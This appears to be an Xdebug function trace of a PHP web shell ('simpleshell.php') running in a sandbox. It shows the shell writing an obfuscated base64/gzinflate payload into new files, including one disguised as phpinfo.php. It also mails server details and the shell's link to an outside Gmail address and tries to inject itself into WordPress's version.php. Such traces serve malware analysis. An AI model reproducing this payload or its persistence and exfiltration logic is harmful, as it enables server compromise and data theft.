5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	283	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	286	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	289	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	290	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	293	$info .= '-'
5	42	1	0.004375	515528
5	42	R			'-rw-r--r--'
5	44	0	0.004389	515488	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/.htaccess'
5	44	1	0.004406	515528
5	44	R			FALSE
5	45	0	0.004420	515488	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/.htaccess'
5	45	1	0.004436	515528
5	45	R			TRUE
5	46	0	0.004450	515488	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/data'
5	46	1	0.004470	515528
5	46	R			FALSE
5	47	0	0.004484	515496	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/prepend.php'
5	47	1	0.004501	515544
5	47	R			TRUE
5	48	0	0.004514	515504	filesize	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	1	'/var/www/html/uploads/prepend.php'
5	48	1	0.004529	515544
5	48	R			57
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	$size = 0.0556640625
5	49	0	0.004554	515400	round	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	2	0.0556640625	3
5	49	1	0.004569	515472
5	49	R			0.056
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	$size = 0.056
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	212	$size = '0.056 KB'
5	50	0	0.004608	515504	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	219	1	'/var/www/html/uploads/prepend.php'
5	50	1	0.004626	515544
5	50	R			FALSE
5	51	0	0.004639	515504	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	220	1	'/var/www/html/uploads/prepend.php'
5	51	1	0.004656	515544
5	51	R			TRUE
5	52	0	0.004670	515504	perms	1		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	221	1	'/var/www/html/uploads/prepend.php'
6	53	0	0.004684	515504	fileperms	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	1	'/var/www/html/uploads/prepend.php'
6	53	1	0.004698	515544
6	53	R			33261
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	$perms = 33261
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	256	$info = '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	275	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	276	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	279	$info .= 'x'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	282	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	283	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	286	$info .= 'x'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	289	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	290	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	293	$info .= 'x'
5	52	1	0.004835	515544
5	52	R			'-rwxr-xr-x'
5	54	0	0.004849	515504	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/prepend.php'
5	54	1	0.004866	515544
5	54	R			FALSE
5	55	0	0.004879	515504	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/prepend.php'
5	55	1	0.004896	515544
5	55	R			TRUE
5	56	0	0.004910	515504	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/simpleshell.php'
5	56	1	0.004927	515544
5	56	R			TRUE
5	57	0	0.004940	515504	filesize	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	1	'/var/www/html/uploads/simpleshell.php'
5	57	1	0.004955	515544
5	57	R			6032
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	$size = 5.890625
5	58	0	0.004980	515400	round	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	2	5.890625	3
5	58	1	0.004995	515472
5	58	R			5.891
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	$size = 5.891
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	212	$size = '5.891 KB'
5	59	0	0.005034	515504	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	219	1	'/var/www/html/uploads/simpleshell.php'
5	59	1	0.005051	515544
5	59	R			FALSE
5	60	0	0.005064	515504	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	220	1	'/var/www/html/uploads/simpleshell.php'
5	60	1	0.005080	515544
5	60	R			TRUE
5	61	0	0.005093	515504	perms	1		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	221	1	'/var/www/html/uploads/simpleshell.php'
6	62	0	0.005111	515504	fileperms	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	1	'/var/www/html/uploads/simpleshell.php'
6	62	1	0.005125	515544
6	62	R			33204
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	$perms = 33204
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	256	$info = '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	275	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	276	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	279	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	282	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	283	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	286	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	289	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	290	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	293	$info .= '-'
5	61	1	0.005260	515544
5	61	R			'-rw-rw-r--'
5	63	0	0.005274	515504	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/simpleshell.php'
5	63	1	0.005291	515544
5	63	R			FALSE
5	64	0	0.005305	515504	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/simpleshell.php'
5	64	1	0.005321	515544
5	64	R			TRUE
4	19	1	0.005345	515552
4	65	0	0.005358	473728	session_start	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	9	0
4	65	1	0.005379	473728
4	65	R			FALSE
4	66	0	0.005393	473728	error_reporting	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	10	1	0
4	66	1	0.005408	473768
4	66	R			0
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	12	$a = '<?php \r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFU'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	30	$doc = '/var/www/html'
4	67	0	0.005464	473728	scandir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	31	1	'/var/www/html'
4	67	1	0.005494	474232
4	67	R			[0 => '.', 1 => '..', 2 => 'uploads']
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	31	$dir = [0 => '.', 1 => '..', 2 => 'uploads']
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	32	$d1 = '/var/www/html/.'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	33	$d2 = '/var/www/html/..'
4	68	0	0.005551	474288	array_search	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	34	2	'.'	[0 => '.', 1 => '..', 2 => 'uploads']
4	68	1	0.005570	474360
4	68	R			0
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	34	$key = 0
4	69	0	0.005596	474256	array_search	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	37	2	'..'	[1 => '..', 2 => 'uploads']
4	69	1	0.005613	474328
4	69	R			1
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	37	$key = 1
4	70	0	0.005638	474224	array_search	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	40	2	'/var/www/html/.'	[2 => 'uploads']
4	70	1	0.005654	474296
4	70	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	40	$key = FALSE
4	71	0	0.005679	474224	array_search	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	43	2	'/var/www/html/..'	[2 => 'uploads']
4	71	1	0.005695	474296
4	71	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	43	$key = FALSE
4	72	0	0.005720	474248	array_push	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	46	2	[2 => 'uploads']	'/var/www/html'
4	72	1	0.005740	474312
4	72	R			2
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	48	$p = '/var/www/html/uploads'
4	73	0	0.005766	474296	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	49	1	'/var/www/html/uploads'
4	73	1	0.005782	474320
4	73	R			TRUE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	50	$file = '/var/www/html/uploads/style-js.php'
4	74	0	0.005808	474344	touch	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	51	1	'/var/www/html/uploads/style-js.php'
4	74	1	0.005854	474384
4	74	R			TRUE
4	75	0	0.005869	474344	fopen	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	52	2	'/var/www/html/uploads/style-js.php'	'w'
4	75	1	0.005905	475008
4	75	R			resource(6) of type (stream)
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	52	$folder = resource(6) of type (stream)
4	76	0	0.005936	474936	fwrite	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	53	2	resource(6) of type (stream)	'<?php \r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFU'
4	76	1	0.005973	475000
4	76	R			893
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	48	$p = '/var/www/html//var/www/html'
4	77	0	0.006008	474944	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	49	1	'/var/www/html//var/www/html'
4	77	1	0.006031	474984
4	77	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	60	$ikrhtfy = '/var/www/html/phpinfo.php'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	63	$fghky_ouvcbt = '<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQ'
4	78	0	0.006086	475000	file_exists	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	74	1	'/var/www/html/phpinfo.php'
4	78	1	0.006106	475040
4	78	R			FALSE
4	79	0	0.006120	475000	touch	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	76	1	'/var/www/html/phpinfo.php'
4	79	1	0.006152	475040
4	79	R			TRUE
4	80	0	0.006167	475000	chmod	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	77	2	'/var/www/html/phpinfo.php'	438
4	80	1	0.006186	475072
4	80	R			TRUE
4	81	0	0.006200	475000	fopen	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	81	2	'/var/www/html/phpinfo.php'	'w'
4	81	1	0.006229	475544
4	81	R			resource(7) of type (stream)
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	81	$opazxcdnm = resource(7) of type (stream)
4	82	0	0.006260	475472	fwrite	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	83	2	resource(7) of type (stream)	'<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQ'
4	82	1	0.006295	475536
4	82	R			834
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	89	$b = 'file manager shell'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	90	$c = 'Dosya Yolu : /var/www/html\r\n'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	92	$c .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	94	$c .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	96	$c .= 'Shell Link : http://localhost/uploads/simpleshell.php\r\n'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	98	$c .= 'Avlanan Site : localhost\r\n'
4	83	0	0.006398	475696	mail	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	100	3	'shelldownloadorg@gmail.com'	'file manager shell'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/simpleshell.php\r\nAvlanan Site : localhost\r\n'
4	83	1	0.007377	475792
4	83	R			FALSE
4	84	0	0.007429	475696	error_reporting	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	104	1	0
4	84	1	0.007461	475736
4	84	R			0
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	105	$isiwefk = '?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	113	$dstuxstska = '/var/www/html'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	114	$lsawqkdn = '/var/www/html/wp-includes/version.php'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	115	$iuzlkyz = '?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO'
4	85	0	0.007673	475760	explode	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	116	2	'-'	'?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO'
4	85	1	0.007723	476208
4	85	R			[0 => '?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO']
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	116	$uowmlsyti = [0 => '?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO']
4	86	0	0.007809	476136	header	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	117	1	'Content-Type: text/plain'
4	86	1	0.007829	476168
4	86	R			NULL
4	87	0	0.007844	476136	file_get_contents	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	118	1	'/var/www/html/wp-includes/version.php'
4	87	1	0.007881	476176
4	87	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	118	$ulipmcft = FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	119	$udntlsy = 0
4	88	0	0.007921	476136	preg_quote	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	122	2	'?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO'	'/'
4	88	1	0.007959	477104
4	88	R			'\\?\\>\\<\\?php\r\n\r\n\r\n\\$gz \\= "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg\\=\\=";\r\n\\$gzinflate \\= "xZacupitYPAA\\/l4Mg25xB9c8e8aKMDZPaWVgcGh\\+90\\+ndtLda0vwLWWYN\\+2YcvHyNa7a8PR6H\\/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ\\/jF\\/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G\\+QbDptBwdq\\/88zLB'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	122	$myuortsfew = '\\?\\>\\<\\?php\r\n\r\n\r\n\\$gz \\= "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg\\=\\=";\r\n\\$gzinflate \\= "xZacupitYPAA\\/l4Mg25xB9c8e8aKMDZPaWVgcGh\\+90\\+ndtLda0vwLWWYN\\+2YcvHyNa7a8PR6H\\/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ\\/jF\\/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G\\+QbDptBwdq\\/88zLB'
